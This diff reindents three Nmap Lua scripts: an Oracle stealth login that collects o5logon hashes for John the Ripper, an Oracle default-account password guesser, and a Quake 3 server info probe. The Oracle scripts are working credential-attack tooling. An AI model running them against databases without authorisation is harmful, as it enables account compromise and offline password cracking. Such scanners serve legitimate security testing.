@@ -63,141 +63,141 @@ local johnfile
|
||||
Driver =
|
||||
{
|
||||
|
||||
new = function(self, host, port, sid )
|
||||
local o = { host = host, port = port, sid = sid }
|
||||
setmetatable(o, self)
|
||||
self.__index = self
|
||||
return o
|
||||
end,
|
||||
new = function(self, host, port, sid )
|
||||
local o = { host = host, port = port, sid = sid }
|
||||
setmetatable(o, self)
|
||||
self.__index = self
|
||||
return o
|
||||
end,
|
||||
|
||||
--- Connects performs protocol negotiation
|
||||
--
|
||||
-- @return true on success, false on failure
|
||||
connect = function( self )
|
||||
local MAX_RETRIES = 10
|
||||
local tries = MAX_RETRIES
|
||||
--- Connects performs protocol negotiation
|
||||
--
|
||||
-- @return true on success, false on failure
|
||||
connect = function( self )
|
||||
local MAX_RETRIES = 10
|
||||
local tries = MAX_RETRIES
|
||||
|
||||
self.helper = ConnectionPool[coroutine.running()]
|
||||
if ( self.helper ) then return true end
|
||||
self.helper = ConnectionPool[coroutine.running()]
|
||||
if ( self.helper ) then return true end
|
||||
|
||||
self.helper = tns.Helper:new( self.host, self.port, self.sid )
|
||||
self.helper = tns.Helper:new( self.host, self.port, self.sid )
|
||||
|
||||
-- This loop is intended for handling failed connections
|
||||
-- A connection may fail for a number of different reasons.
|
||||
-- For the moment, we're just handling the error code 12520
|
||||
--
|
||||
-- Error 12520 has been observed on Oracle XE and seems to
|
||||
-- occur when a maximum connection count is reached.
|
||||
local status, data
|
||||
repeat
|
||||
if ( tries < MAX_RETRIES ) then
|
||||
stdnse.print_debug(2, "%s: Attempting to re-connect (attempt %d of %d)", SCRIPT_NAME, MAX_RETRIES - tries, MAX_RETRIES)
|
||||
end
|
||||
status, data = self.helper:Connect()
|
||||
if ( not(status) ) then
|
||||
stdnse.print_debug(2, "%s: ERROR: An Oracle %s error occured", SCRIPT_NAME, data)
|
||||
self.helper:Close()
|
||||
else
|
||||
break
|
||||
end
|
||||
tries = tries - 1
|
||||
stdnse.sleep(1)
|
||||
until( tries == 0 or data ~= "12520" )
|
||||
-- This loop is intended for handling failed connections
|
||||
-- A connection may fail for a number of different reasons.
|
||||
-- For the moment, we're just handling the error code 12520
|
||||
--
|
||||
-- Error 12520 has been observed on Oracle XE and seems to
|
||||
-- occur when a maximum connection count is reached.
|
||||
local status, data
|
||||
repeat
|
||||
if ( tries < MAX_RETRIES ) then
|
||||
stdnse.print_debug(2, "%s: Attempting to re-connect (attempt %d of %d)", SCRIPT_NAME, MAX_RETRIES - tries, MAX_RETRIES)
|
||||
end
|
||||
status, data = self.helper:Connect()
|
||||
if ( not(status) ) then
|
||||
stdnse.print_debug(2, "%s: ERROR: An Oracle %s error occured", SCRIPT_NAME, data)
|
||||
self.helper:Close()
|
||||
else
|
||||
break
|
||||
end
|
||||
tries = tries - 1
|
||||
stdnse.sleep(1)
|
||||
until( tries == 0 or data ~= "12520" )
|
||||
|
||||
if ( status ) then
|
||||
ConnectionPool[coroutine.running()] = self.helper
|
||||
end
|
||||
if ( status ) then
|
||||
ConnectionPool[coroutine.running()] = self.helper
|
||||
end
|
||||
|
||||
return status, data
|
||||
end,
|
||||
return status, data
|
||||
end,
|
||||
|
||||
--- Attempts to login to the Oracle server
|
||||
--
|
||||
-- @param username string containing the login username
|
||||
-- @param password string containing the login password
|
||||
-- @return status, true on success, false on failure
|
||||
-- @return brute.Error object on failure
|
||||
-- brute.Account object on success
|
||||
login = function( self, username, password )
|
||||
local status, data = self.helper:StealthLogin( username, password )
|
||||
--- Attempts to login to the Oracle server
|
||||
--
|
||||
-- @param username string containing the login username
|
||||
-- @param password string containing the login password
|
||||
-- @return status, true on success, false on failure
|
||||
-- @return brute.Error object on failure
|
||||
-- brute.Account object on success
|
||||
login = function( self, username, password )
|
||||
local status, data = self.helper:StealthLogin( username, password )
|
||||
|
||||
if ( data["AUTH_VFR_DATA"] ) then
|
||||
local hash = string.format("$o5logon$%s*%s", data["AUTH_SESSKEY"], data["AUTH_VFR_DATA"])
|
||||
if ( johnfile ) then
|
||||
johnfile:write(("%s:%s\n"):format(username,hash))
|
||||
end
|
||||
return true, brute.Account:new(username, hash, creds.State.HASHED)
|
||||
else
|
||||
return false, brute.Error:new( data )
|
||||
end
|
||||
if ( data["AUTH_VFR_DATA"] ) then
|
||||
local hash = string.format("$o5logon$%s*%s", data["AUTH_SESSKEY"], data["AUTH_VFR_DATA"])
|
||||
if ( johnfile ) then
|
||||
johnfile:write(("%s:%s\n"):format(username,hash))
|
||||
end
|
||||
return true, brute.Account:new(username, hash, creds.State.HASHED)
|
||||
else
|
||||
return false, brute.Error:new( data )
|
||||
end
|
||||
|
||||
|
||||
end,
|
||||
end,
|
||||
|
||||
--- Disconnects and terminates the Oracle TNS communication
|
||||
disconnect = function( self )
|
||||
return true
|
||||
end,
|
||||
--- Disconnects and terminates the Oracle TNS communication
|
||||
disconnect = function( self )
|
||||
return true
|
||||
end,
|
||||
|
||||
}
|
||||
|
||||
|
||||
action = function(host, port)
|
||||
local DEFAULT_ACCOUNTS = "nselib/data/oracle-default-accounts.lst"
|
||||
local sid = stdnse.get_script_args(SCRIPT_NAME .. '.sid') or stdnse.get_script_args('tns.sid')
|
||||
local engine = brute.Engine:new(Driver, host, port, sid)
|
||||
local arg_accounts = stdnse.get_script_args(SCRIPT_NAME .. '.accounts')
|
||||
local mode = arg_accounts and "accounts" or "default"
|
||||
local DEFAULT_ACCOUNTS = "nselib/data/oracle-default-accounts.lst"
|
||||
local sid = stdnse.get_script_args(SCRIPT_NAME .. '.sid') or stdnse.get_script_args('tns.sid')
|
||||
local engine = brute.Engine:new(Driver, host, port, sid)
|
||||
local arg_accounts = stdnse.get_script_args(SCRIPT_NAME .. '.accounts')
|
||||
local mode = arg_accounts and "accounts" or "default"
|
||||
|
||||
if ( not(sid) ) then
|
||||
return "\n ERROR: Oracle instance not set (see oracle-brute-stealth.sid or tns.sid)"
|
||||
end
|
||||
if ( not(sid) ) then
|
||||
return "\n ERROR: Oracle instance not set (see oracle-brute-stealth.sid or tns.sid)"
|
||||
end
|
||||
|
||||
if ( arg_johnfile ) then
|
||||
johnfile = io.open(arg_johnfile, "w")
|
||||
if ( not(johnfile) ) then
|
||||
return ("\n ERROR: Failed to open %s for writing"):format(johnfile)
|
||||
end
|
||||
end
|
||||
if ( arg_johnfile ) then
|
||||
johnfile = io.open(arg_johnfile, "w")
|
||||
if ( not(johnfile) ) then
|
||||
return ("\n ERROR: Failed to open %s for writing"):format(johnfile)
|
||||
end
|
||||
end
|
||||
|
||||
local helper = tns.Helper:new( host, port, sid )
|
||||
local status, result = helper:Connect()
|
||||
if ( not(status) ) then
|
||||
return "\n ERROR: Failed to connect to oracle server"
|
||||
end
|
||||
helper:Close()
|
||||
local helper = tns.Helper:new( host, port, sid )
|
||||
local status, result = helper:Connect()
|
||||
if ( not(status) ) then
|
||||
return "\n ERROR: Failed to connect to oracle server"
|
||||
end
|
||||
helper:Close()
|
||||
|
||||
if ( stdnse.get_script_args('userdb') or
|
||||
stdnse.get_script_args('passdb') or
|
||||
stdnse.get_script_args('oracle-brute-stealth.nodefault') or
|
||||
stdnse.get_script_args('brute.credfile') ) then
|
||||
mode = nil
|
||||
end
|
||||
if ( stdnse.get_script_args('userdb') or
|
||||
stdnse.get_script_args('passdb') or
|
||||
stdnse.get_script_args('oracle-brute-stealth.nodefault') or
|
||||
stdnse.get_script_args('brute.credfile') ) then
|
||||
mode = nil
|
||||
end
|
||||
|
||||
if ( mode == "default" ) then
|
||||
local f = nmap.fetchfile(DEFAULT_ACCOUNTS)
|
||||
if ( not(f) ) then
|
||||
return ("\n ERROR: Failed to find %s"):format(DEFAULT_ACCOUNTS)
|
||||
end
|
||||
if ( mode == "default" ) then
|
||||
local f = nmap.fetchfile(DEFAULT_ACCOUNTS)
|
||||
if ( not(f) ) then
|
||||
return ("\n ERROR: Failed to find %s"):format(DEFAULT_ACCOUNTS)
|
||||
end
|
||||
|
||||
f = io.open(f)
|
||||
if ( not(f) ) then
|
||||
return ("\n ERROR: Failed to open %s"):format(DEFAULT_ACCOUNTS)
|
||||
end
|
||||
f = io.open(f)
|
||||
if ( not(f) ) then
|
||||
return ("\n ERROR: Failed to open %s"):format(DEFAULT_ACCOUNTS)
|
||||
end
|
||||
|
||||
engine.iterator = brute.Iterators.credential_iterator(f)
|
||||
elseif( "accounts" == mode ) then
|
||||
engine.iterator = unpwdb.table_iterator(stdnse.strsplit(",%s*", arg_accounts))
|
||||
end
|
||||
engine.iterator = brute.Iterators.credential_iterator(f)
|
||||
elseif( "accounts" == mode ) then
|
||||
engine.iterator = unpwdb.table_iterator(stdnse.strsplit(",%s*", arg_accounts))
|
||||
end
|
||||
|
||||
engine.options.useraspass = false
|
||||
engine.options.mode = "user"
|
||||
engine.options.script_name = SCRIPT_NAME
|
||||
status, result = engine:start()
|
||||
engine.options.useraspass = false
|
||||
engine.options.mode = "user"
|
||||
engine.options.script_name = SCRIPT_NAME
|
||||
status, result = engine:start()
|
||||
|
||||
if ( johnfile ) then
|
||||
johnfile:close()
|
||||
end
|
||||
if ( johnfile ) then
|
||||
johnfile:close()
|
||||
end
|
||||
|
||||
return result
|
||||
return result
|
||||
end
|
||||
|
||||
@@ -52,13 +52,13 @@ result in a large number of accounts being locked out on the database server.
|
||||
-- Version 0.3
|
||||
-- Created 07/12/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
|
||||
-- Revised 07/23/2010 - v0.2 - added script usage and output and
|
||||
-- - oracle-brute.sid argument
|
||||
-- - oracle-brute.sid argument
|
||||
-- Revised 07/25/2011 - v0.3 - added support for guessing default accounts
|
||||
-- changed code to use ConnectionPool
|
||||
-- Revised 03/13/2012 - v0.4 - revised by L<>szl<7A> T<>th
|
||||
-- added support for SYSDBA accounts
|
||||
-- Revised 08/07/2012 - v0.5 - revised to suit the changes in brute
|
||||
-- library [Aleksandar Nikolic]
|
||||
-- library [Aleksandar Nikolic]
|
||||
|
||||
--
|
||||
-- Summary
|
||||
@@ -79,147 +79,147 @@ local sysdba = {}
|
||||
Driver =
|
||||
{
|
||||
|
||||
new = function(self, host, port, sid )
|
||||
local o = { host = host, port = port, sid = sid }
|
||||
setmetatable(o, self)
|
||||
self.__index = self
|
||||
return o
|
||||
end,
|
||||
new = function(self, host, port, sid )
|
||||
local o = { host = host, port = port, sid = sid }
|
||||
setmetatable(o, self)
|
||||
self.__index = self
|
||||
return o
|
||||
end,
|
||||
|
||||
--- Connects performs protocol negotiation
|
||||
--
|
||||
-- @return true on success, false on failure
|
||||
connect = function( self )
|
||||
local MAX_RETRIES = 10
|
||||
local tries = MAX_RETRIES
|
||||
--- Connects performs protocol negotiation
|
||||
--
|
||||
-- @return true on success, false on failure
|
||||
connect = function( self )
|
||||
local MAX_RETRIES = 10
|
||||
local tries = MAX_RETRIES
|
||||
|
||||
self.helper = ConnectionPool[coroutine.running()]
|
||||
if ( self.helper ) then return true end
|
||||
self.helper = ConnectionPool[coroutine.running()]
|
||||
if ( self.helper ) then return true end
|
||||
|
||||
self.helper = tns.Helper:new( self.host, self.port, self.sid )
|
||||
self.helper = tns.Helper:new( self.host, self.port, self.sid )
|
||||
|
||||
-- This loop is intended for handling failed connections
|
||||
-- A connection may fail for a number of different reasons.
|
||||
-- For the moment, we're just handling the error code 12520
|
||||
--
|
||||
-- Error 12520 has been observed on Oracle XE and seems to
|
||||
-- occur when a maximum connection count is reached.
|
||||
local status, data
|
||||
repeat
|
||||
if ( tries < MAX_RETRIES ) then
|
||||
stdnse.print_debug(2, "%s: Attempting to re-connect (attempt %d of %d)", SCRIPT_NAME, MAX_RETRIES - tries, MAX_RETRIES)
|
||||
end
|
||||
status, data = self.helper:Connect()
|
||||
if ( not(status) ) then
|
||||
stdnse.print_debug(2, "%s: ERROR: An Oracle %s error occured", SCRIPT_NAME, data)
|
||||
self.helper:Close()
|
||||
else
|
||||
break
|
||||
end
|
||||
tries = tries - 1
|
||||
stdnse.sleep(1)
|
||||
until( tries == 0 or data ~= "12520" )
|
||||
-- This loop is intended for handling failed connections
|
||||
-- A connection may fail for a number of different reasons.
|
||||
-- For the moment, we're just handling the error code 12520
|
||||
--
|
||||
-- Error 12520 has been observed on Oracle XE and seems to
|
||||
-- occur when a maximum connection count is reached.
|
||||
local status, data
|
||||
repeat
|
||||
if ( tries < MAX_RETRIES ) then
|
||||
stdnse.print_debug(2, "%s: Attempting to re-connect (attempt %d of %d)", SCRIPT_NAME, MAX_RETRIES - tries, MAX_RETRIES)
|
||||
end
|
||||
status, data = self.helper:Connect()
|
||||
if ( not(status) ) then
|
||||
stdnse.print_debug(2, "%s: ERROR: An Oracle %s error occured", SCRIPT_NAME, data)
|
||||
self.helper:Close()
|
||||
else
|
||||
break
|
||||
end
|
||||
tries = tries - 1
|
||||
stdnse.sleep(1)
|
||||
until( tries == 0 or data ~= "12520" )
|
||||
|
||||
if ( status ) then
|
||||
ConnectionPool[coroutine.running()] = self.helper
|
||||
end
|
||||
if ( status ) then
|
||||
ConnectionPool[coroutine.running()] = self.helper
|
||||
end
|
||||
|
||||
return status, data
|
||||
end,
|
||||
return status, data
|
||||
end,
|
||||
|
||||
--- Attempts to login to the Oracle server
|
||||
--
|
||||
-- @param username string containing the login username
|
||||
-- @param password string containing the login password
|
||||
-- @return status, true on success, false on failure
|
||||
-- @return brute.Error object on failure
|
||||
-- brute.Account object on success
|
||||
login = function( self, username, password )
|
||||
local status, data = self.helper:Login( username, password )
|
||||
--- Attempts to login to the Oracle server
|
||||
--
|
||||
-- @param username string containing the login username
|
||||
-- @param password string containing the login password
|
||||
-- @return status, true on success, false on failure
|
||||
-- @return brute.Error object on failure
|
||||
-- brute.Account object on success
|
||||
login = function( self, username, password )
|
||||
local status, data = self.helper:Login( username, password )
|
||||
|
||||
if ( sysdba[username] ) then
|
||||
return false, brute.Error:new("Account already discovered")
|
||||
end
|
||||
if ( sysdba[username] ) then
|
||||
return false, brute.Error:new("Account already discovered")
|
||||
end
|
||||
|
||||
if ( status ) then
|
||||
self.helper:Close()
|
||||
ConnectionPool[coroutine.running()] = nil
|
||||
return true, brute.Account:new(username, password, creds.State.VALID)
|
||||
-- Check for account locked message
|
||||
elseif ( data:match("ORA[-]28000") ) then
|
||||
return true, brute.Account:new(username, password, creds.State.LOCKED)
|
||||
-- Check for account is SYSDBA message
|
||||
elseif ( data:match("ORA[-]28009") ) then
|
||||
sysdba[username] = true
|
||||
return true, brute.Account:new(username .. " as sysdba", password, creds.State.VALID)
|
||||
-- check for any other message
|
||||
elseif ( data:match("ORA[-]%d+")) then
|
||||
stdnse.print_debug(3, "username: %s, password: %s, error: %s", username, password, data )
|
||||
return false, brute.Error:new(data)
|
||||
-- any other errors are likely communication related, attempt to re-try
|
||||
else
|
||||
self.helper:Close()
|
||||
ConnectionPool[coroutine.running()] = nil
|
||||
local err = brute.Error:new(data)
|
||||
err:setRetry(true)
|
||||
return false, err
|
||||
end
|
||||
if ( status ) then
|
||||
self.helper:Close()
|
||||
ConnectionPool[coroutine.running()] = nil
|
||||
return true, brute.Account:new(username, password, creds.State.VALID)
|
||||
-- Check for account locked message
|
||||
elseif ( data:match("ORA[-]28000") ) then
|
||||
return true, brute.Account:new(username, password, creds.State.LOCKED)
|
||||
-- Check for account is SYSDBA message
|
||||
elseif ( data:match("ORA[-]28009") ) then
|
||||
sysdba[username] = true
|
||||
return true, brute.Account:new(username .. " as sysdba", password, creds.State.VALID)
|
||||
-- check for any other message
|
||||
elseif ( data:match("ORA[-]%d+")) then
|
||||
stdnse.print_debug(3, "username: %s, password: %s, error: %s", username, password, data )
|
||||
return false, brute.Error:new(data)
|
||||
-- any other errors are likely communication related, attempt to re-try
|
||||
else
|
||||
self.helper:Close()
|
||||
ConnectionPool[coroutine.running()] = nil
|
||||
local err = brute.Error:new(data)
|
||||
err:setRetry(true)
|
||||
return false, err
|
||||
end
|
||||
|
||||
return false, brute.Error:new( data )
|
||||
return false, brute.Error:new( data )
|
||||
|
||||
end,
|
||||
end,
|
||||
|
||||
--- Disconnects and terminates the Oracle TNS communication
|
||||
disconnect = function( self )
|
||||
return true
|
||||
end,
|
||||
--- Disconnects and terminates the Oracle TNS communication
|
||||
disconnect = function( self )
|
||||
return true
|
||||
end,
|
||||
|
||||
}
|
||||
|
||||
|
||||
action = function(host, port)
|
||||
local DEFAULT_ACCOUNTS = "nselib/data/oracle-default-accounts.lst"
|
||||
local sid = stdnse.get_script_args('oracle-brute.sid') or
|
||||
stdnse.get_script_args('tns.sid')
|
||||
local engine = brute.Engine:new(Driver, host, port, sid)
|
||||
local mode = "default"
|
||||
local DEFAULT_ACCOUNTS = "nselib/data/oracle-default-accounts.lst"
|
||||
local sid = stdnse.get_script_args('oracle-brute.sid') or
|
||||
stdnse.get_script_args('tns.sid')
|
||||
local engine = brute.Engine:new(Driver, host, port, sid)
|
||||
local mode = "default"
|
||||
|
||||
if ( not(sid) ) then
|
||||
return "\n ERROR: Oracle instance not set (see oracle-brute.sid or tns.sid)"
|
||||
end
|
||||
if ( not(sid) ) then
|
||||
return "\n ERROR: Oracle instance not set (see oracle-brute.sid or tns.sid)"
|
||||
end
|
||||
|
||||
local helper = tns.Helper:new( host, port, sid )
|
||||
local status, result = helper:Connect()
|
||||
if ( not(status) ) then
|
||||
return "\n ERROR: Failed to connect to oracle server"
|
||||
end
|
||||
helper:Close()
|
||||
local helper = tns.Helper:new( host, port, sid )
|
||||
local status, result = helper:Connect()
|
||||
if ( not(status) ) then
|
||||
return "\n ERROR: Failed to connect to oracle server"
|
||||
end
|
||||
helper:Close()
|
||||
|
||||
local f
|
||||
local f
|
||||
|
||||
if ( stdnse.get_script_args('userdb') or
|
||||
stdnse.get_script_args('passdb') or
|
||||
stdnse.get_script_args('oracle-brute.nodefault') or
|
||||
stdnse.get_script_args('brute.credfile') ) then
|
||||
mode = nil
|
||||
end
|
||||
if ( stdnse.get_script_args('userdb') or
|
||||
stdnse.get_script_args('passdb') or
|
||||
stdnse.get_script_args('oracle-brute.nodefault') or
|
||||
stdnse.get_script_args('brute.credfile') ) then
|
||||
mode = nil
|
||||
end
|
||||
|
||||
if ( mode == "default" ) then
|
||||
f = nmap.fetchfile(DEFAULT_ACCOUNTS)
|
||||
if ( not(f) ) then
|
||||
return ("\n ERROR: Failed to find %s"):format(DEFAULT_ACCOUNTS)
|
||||
end
|
||||
if ( mode == "default" ) then
|
||||
f = nmap.fetchfile(DEFAULT_ACCOUNTS)
|
||||
if ( not(f) ) then
|
||||
return ("\n ERROR: Failed to find %s"):format(DEFAULT_ACCOUNTS)
|
||||
end
|
||||
|
||||
f = io.open(f)
|
||||
if ( not(f) ) then
|
||||
return ("\n ERROR: Failed to open %s"):format(DEFAULT_ACCOUNTS)
|
||||
end
|
||||
f = io.open(f)
|
||||
if ( not(f) ) then
|
||||
return ("\n ERROR: Failed to open %s"):format(DEFAULT_ACCOUNTS)
|
||||
end
|
||||
|
||||
engine.iterator = brute.Iterators.credential_iterator(f)
|
||||
end
|
||||
engine.iterator = brute.Iterators.credential_iterator(f)
|
||||
end
|
||||
|
||||
engine.options.script_name = SCRIPT_NAME
|
||||
status, result = engine:start()
|
||||
engine.options.script_name = SCRIPT_NAME
|
||||
status, result = engine:start()
|
||||
|
||||
return result
|
||||
return result
|
||||
end
|
||||
|
||||
@@ -69,188 +69,188 @@ categories = {"default", "discovery", "safe", "version"}
|
||||
|
||||
|
||||
local function range(first, last)
|
||||
local list = {}
|
||||
for i = first, last do
|
||||
table.insert(list, i)
|
||||
end
|
||||
return list
|
||||
local list = {}
|
||||
for i = first, last do
|
||||
table.insert(list, i)
|
||||
end
|
||||
return list
|
||||
end
|
||||
|
||||
portrule = shortport.port_or_service(range(27960, 27970), {'quake3'}, 'udp')
|
||||
|
||||
local function parsefields(data)
|
||||
local fields = {}
|
||||
local parts = stdnse.strsplit("\\", data)
|
||||
local nullprefix = table.remove(parts, 1)
|
||||
if nullprefix ~= "" then
|
||||
stdnse.print_debug(2, "unrecognized field format, skipping options")
|
||||
return {}
|
||||
end
|
||||
for i = 1, #parts, 2 do
|
||||
local key = parts[i]
|
||||
local value = parts[i + 1]
|
||||
fields[key] = value
|
||||
end
|
||||
return fields
|
||||
local fields = {}
|
||||
local parts = stdnse.strsplit("\\", data)
|
||||
local nullprefix = table.remove(parts, 1)
|
||||
if nullprefix ~= "" then
|
||||
stdnse.print_debug(2, "unrecognized field format, skipping options")
|
||||
return {}
|
||||
end
|
||||
for i = 1, #parts, 2 do
|
||||
local key = parts[i]
|
||||
local value = parts[i + 1]
|
||||
fields[key] = value
|
||||
end
|
||||
return fields
|
||||
end
|
||||
|
||||
local function parsename(data)
|
||||
local parts = stdnse.strsplit('"', data)
|
||||
if #parts ~= 3 then
|
||||
return nil
|
||||
end
|
||||
local e1 = parts[1]
|
||||
local name = parts[2]
|
||||
local e2 = parts[3]
|
||||
local extra = e1 .. e2
|
||||
if extra ~= "" then
|
||||
return nil
|
||||
end
|
||||
return name
|
||||
local parts = stdnse.strsplit('"', data)
|
||||
if #parts ~= 3 then
|
||||
return nil
|
||||
end
|
||||
local e1 = parts[1]
|
||||
local name = parts[2]
|
||||
local e2 = parts[3]
|
||||
local extra = e1 .. e2
|
||||
if extra ~= "" then
|
||||
return nil
|
||||
end
|
||||
return name
|
||||
end
|
||||
|
||||
local function parseplayer(data)
|
||||
local parts = stdnse.strsplit(" ", data)
|
||||
if #parts < 3 then
|
||||
stdnse.print_debug(2, "player info line is missing elements, skipping a player")
|
||||
return nil
|
||||
end
|
||||
if #parts > 3 then
|
||||
stdnse.print_debug(2, "player info line has unknown elements, skipping a player")
|
||||
return nil
|
||||
end
|
||||
local player = {}
|
||||
player.frags = parts[1]
|
||||
player.ping = parts[2]
|
||||
player.name = parsename(parts[3])
|
||||
if player.name == nil then
|
||||
stdnse.print_debug(2, "invalid player name serialization, skipping a player")
|
||||
return nil
|
||||
end
|
||||
return player
|
||||
local parts = stdnse.strsplit(" ", data)
|
||||
if #parts < 3 then
|
||||
stdnse.print_debug(2, "player info line is missing elements, skipping a player")
|
||||
return nil
|
||||
end
|
||||
if #parts > 3 then
|
||||
stdnse.print_debug(2, "player info line has unknown elements, skipping a player")
|
||||
return nil
|
||||
end
|
||||
local player = {}
|
||||
player.frags = parts[1]
|
||||
player.ping = parts[2]
|
||||
player.name = parsename(parts[3])
|
||||
if player.name == nil then
|
||||
stdnse.print_debug(2, "invalid player name serialization, skipping a player")
|
||||
return nil
|
||||
end
|
||||
return player
|
||||
end
|
||||
|
||||
local function parseplayers(data)
|
||||
local players = {}
|
||||
for _, p in ipairs(data) do
|
||||
local player = parseplayer(p)
|
||||
if player then
|
||||
table.insert(players, player)
|
||||
end
|
||||
end
|
||||
return players
|
||||
local players = {}
|
||||
for _, p in ipairs(data) do
|
||||
local player = parseplayer(p)
|
||||
if player then
|
||||
table.insert(players, player)
|
||||
end
|
||||
end
|
||||
return players
|
||||
end
|
||||
|
||||
local function is_leader(a, b)
|
||||
local collide = a.name == b.name
|
||||
local even = a.frags == b.frags
|
||||
local leads = a.frags > b.frags
|
||||
local alphab = a.name > b.name
|
||||
local faster = a.ping > b.ping
|
||||
return leads or (even and alphab) or (even and collide and faster)
|
||||
local collide = a.name == b.name
|
||||
local even = a.frags == b.frags
|
||||
local leads = a.frags > b.frags
|
||||
local alphab = a.name > b.name
|
||||
local faster = a.ping > b.ping
|
||||
return leads or (even and alphab) or (even and collide and faster)
|
||||
end
|
||||
|
||||
local function formatplayers(players, fraglimit)
|
||||
table.sort(players, is_leader)
|
||||
local printable = {}
|
||||
for i, player in ipairs(players) do
|
||||
local name = player.name
|
||||
local ping = player.ping
|
||||
local frags = player.frags
|
||||
if fraglimit then
|
||||
frags = string.format("%s/%s", frags, fraglimit)
|
||||
end
|
||||
table.insert(printable, string.format("%d. %s (frags: %s, ping: %s)", i, name, frags, ping))
|
||||
end
|
||||
printable["name"] = "PLAYERS:"
|
||||
return printable
|
||||
table.sort(players, is_leader)
|
||||
local printable = {}
|
||||
for i, player in ipairs(players) do
|
||||
local name = player.name
|
||||
local ping = player.ping
|
||||
local frags = player.frags
|
||||
if fraglimit then
|
||||
frags = string.format("%s/%s", frags, fraglimit)
|
||||
end
|
||||
table.insert(printable, string.format("%d. %s (frags: %s, ping: %s)", i, name, frags, ping))
|
||||
end
|
||||
printable["name"] = "PLAYERS:"
|
||||
return printable
|
||||
end
|
||||
|
||||
local function formatfields(fields, title)
|
||||
local printable = {}
|
||||
for key, value in pairs(fields) do
|
||||
local kv = string.format("%s: %s", key, value)
|
||||
table.insert(printable, kv)
|
||||
end
|
||||
table.sort(printable)
|
||||
printable["name"] = title
|
||||
return printable
|
||||
local printable = {}
|
||||
for key, value in pairs(fields) do
|
||||
local kv = string.format("%s: %s", key, value)
|
||||
table.insert(printable, kv)
|
||||
end
|
||||
table.sort(printable)
|
||||
printable["name"] = title
|
||||
return printable
|
||||
end
|
||||
|
||||
local function assorted(fields)
|
||||
local basic = {}
|
||||
local other = {}
|
||||
for key, value in pairs(fields) do
|
||||
if string.find(key, "_") == nil then
|
||||
basic[key] = value
|
||||
else
|
||||
other[key] = value
|
||||
end
|
||||
end
|
||||
return basic, other
|
||||
local basic = {}
|
||||
local other = {}
|
||||
for key, value in pairs(fields) do
|
||||
if string.find(key, "_") == nil then
|
||||
basic[key] = value
|
||||
else
|
||||
other[key] = value
|
||||
end
|
||||
end
|
||||
return basic, other
|
||||
end
|
||||
|
||||
action = function(host, port)
|
||||
local GETSTATUS = bin.pack("CCCCA", 0xff, 0xff, 0xff, 0xff, "getstatus\n")
|
||||
local STATUSRESP = bin.pack("CCCCA", 0xff, 0xff, 0xff, 0xff, "statusResponse")
|
||||
local GETSTATUS = bin.pack("CCCCA", 0xff, 0xff, 0xff, 0xff, "getstatus\n")
|
||||
local STATUSRESP = bin.pack("CCCCA", 0xff, 0xff, 0xff, 0xff, "statusResponse")
|
||||
|
||||
local status, data = comm.exchange(host, port, GETSTATUS, {["proto"] = "udp"})
|
||||
if not status then
|
||||
return
|
||||
end
|
||||
local parts = stdnse.strsplit("\n", data)
|
||||
local header = table.remove(parts, 1)
|
||||
if header ~= STATUSRESP then
|
||||
return
|
||||
end
|
||||
if #parts < 2 then
|
||||
stdnse.print_debug(2, "incomplete status response, script abort")
|
||||
return
|
||||
end
|
||||
local nullend = table.remove(parts)
|
||||
if nullend ~= "" then
|
||||
stdnse.print_debug(2, "missing terminating endline, script abort")
|
||||
return
|
||||
end
|
||||
local field_data = table.remove(parts, 1)
|
||||
local player_data = parts
|
||||
local status, data = comm.exchange(host, port, GETSTATUS, {["proto"] = "udp"})
|
||||
if not status then
|
||||
return
|
||||
end
|
||||
local parts = stdnse.strsplit("\n", data)
|
||||
local header = table.remove(parts, 1)
|
||||
if header ~= STATUSRESP then
|
||||
return
|
||||
end
|
||||
if #parts < 2 then
|
||||
stdnse.print_debug(2, "incomplete status response, script abort")
|
||||
return
|
||||
end
|
||||
local nullend = table.remove(parts)
|
||||
if nullend ~= "" then
|
||||
stdnse.print_debug(2, "missing terminating endline, script abort")
|
||||
return
|
||||
end
|
||||
local field_data = table.remove(parts, 1)
|
||||
local player_data = parts
|
||||
|
||||
local fields = parsefields(field_data)
|
||||
local players = parseplayers(player_data)
|
||||
local fields = parsefields(field_data)
|
||||
local players = parseplayers(player_data)
|
||||
|
||||
local basic, other = assorted(fields)
|
||||
local basic, other = assorted(fields)
|
||||
|
||||
-- Previously observed version strings:
|
||||
-- "tremulous 1.1.0 linux-x86_64 Aug 5 2010"
|
||||
-- "ioq3 1.36+svn1933-1/Ubuntu linux-x86_64 Apr 4 2011"
|
||||
local versionline = basic["version"]
|
||||
if versionline then
|
||||
local fields = stdnse.strsplit(" ", versionline)
|
||||
local product = fields[1]
|
||||
local version = fields[2]
|
||||
local osline = fields[3]
|
||||
port.version.name = "quake3"
|
||||
port.version.product = product
|
||||
port.version.version = version
|
||||
if string.find(osline, "linux") then
|
||||
port.version.ostype = "Linux"
|
||||
end
|
||||
if string.find(osline, "win") then
|
||||
port.version.ostype = "Windows"
|
||||
end
|
||||
nmap.set_port_version(host, port)
|
||||
end
|
||||
-- Previously observed version strings:
|
||||
-- "tremulous 1.1.0 linux-x86_64 Aug 5 2010"
|
||||
-- "ioq3 1.36+svn1933-1/Ubuntu linux-x86_64 Apr 4 2011"
|
||||
local versionline = basic["version"]
|
||||
if versionline then
|
||||
local fields = stdnse.strsplit(" ", versionline)
|
||||
local product = fields[1]
|
||||
local version = fields[2]
|
||||
local osline = fields[3]
|
||||
port.version.name = "quake3"
|
||||
port.version.product = product
|
||||
port.version.version = version
|
||||
if string.find(osline, "linux") then
|
||||
port.version.ostype = "Linux"
|
||||
end
|
||||
if string.find(osline, "win") then
|
||||
port.version.ostype = "Windows"
|
||||
end
|
||||
nmap.set_port_version(host, port)
|
||||
end
|
||||
|
||||
local fraglimit = fields["fraglimit"]
|
||||
if not fraglimit then
|
||||
fraglimit = "?"
|
||||
end
|
||||
local fraglimit = fields["fraglimit"]
|
||||
if not fraglimit then
|
||||
fraglimit = "?"
|
||||
end
|
||||
|
||||
local response = {}
|
||||
table.insert(response, formatplayers(players, fraglimit))
|
||||
table.insert(response, formatfields(basic, "BASIC OPTIONS:"))
|
||||
if nmap.verbosity() > 0 then
|
||||
table.insert(response, formatfields(other, "OTHER OPTIONS:"))
|
||||
end
|
||||
return stdnse.format_output(true, response)
|
||||
local response = {}
|
||||
table.insert(response, formatplayers(players, fraglimit))
|
||||
table.insert(response, formatfields(basic, "BASIC OPTIONS:"))
|
||||
if nmap.verbosity() > 0 then
|
||||
table.insert(response, formatfields(other, "OTHER OPTIONS:"))
|
||||
end
|
||||
